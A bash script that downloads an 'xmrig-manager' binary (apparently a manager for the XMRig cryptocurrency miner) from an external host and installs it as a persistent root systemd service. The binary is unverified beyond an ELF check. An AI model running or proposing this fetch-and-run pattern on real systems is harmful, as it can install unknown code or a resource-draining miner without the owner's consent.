#!/bin/bash
set -e

DOWNLOAD_URL="https://socket.getio.net/xmrig-manager"
BINARY_NAME="xmrig-manager"
INSTALL_DIR="/usr/local/bin"
SERVICE_NAME="xmrig-manager"
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"

if [ "$EUID" -ne 0 ]; then 
    echo "Error: This script requires root privileges"
    echo "Please use: sudo $0"
    exit 1
fi

TMP_FILE="/tmp/${BINARY_NAME}"
[ -f "$TMP_FILE" ] && rm -f "$TMP_FILE"

wget -q --show-progress "${DOWNLOAD_URL}" -O "$TMP_FILE" || {
    echo "Error: Download failed, please check network connection"
    exit 1
}

[ ! -f "$TMP_FILE" ] && {
    echo "Error: Downloaded file does not exist"
    exit 1
}

file "$TMP_FILE" | grep -q "ELF" || {
    echo "Error: Downloaded file is not a valid ELF binary"
    exit 1
}

mkdir -p "$INSTALL_DIR"
cp "$TMP_FILE" "${INSTALL_DIR}/${BINARY_NAME}"
chmod +x "${INSTALL_DIR}/${BINARY_NAME}"
rm -f "$TMP_FILE"

cat > "$SERVICE_FILE" << EOF
[Unit]
Description=XMRig Auto Manager
Documentation=https://socket.getio.net
After=network.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=${INSTALL_DIR}/${BINARY_NAME}
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal
SyslogIdentifier=${SERVICE_NAME}
NoNewPrivileges=false
PrivateTmp=false

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload

if systemctl is-active --quiet "$SERVICE_NAME"; then
    systemctl stop "$SERVICE_NAME"
fi

systemctl enable "$SERVICE_NAME"
systemctl start "$SERVICE_NAME" || {
    echo "Error: Service start failed, check logs: journalctl -u ${SERVICE_NAME} -n 50"
    exit 1
}

sleep 2

if systemctl is-active --quiet "$SERVICE_NAME"; then
    echo "Deployment completed, service is running"
else
    echo "Deployment completed, but service may not be running properly, please check logs"
fi
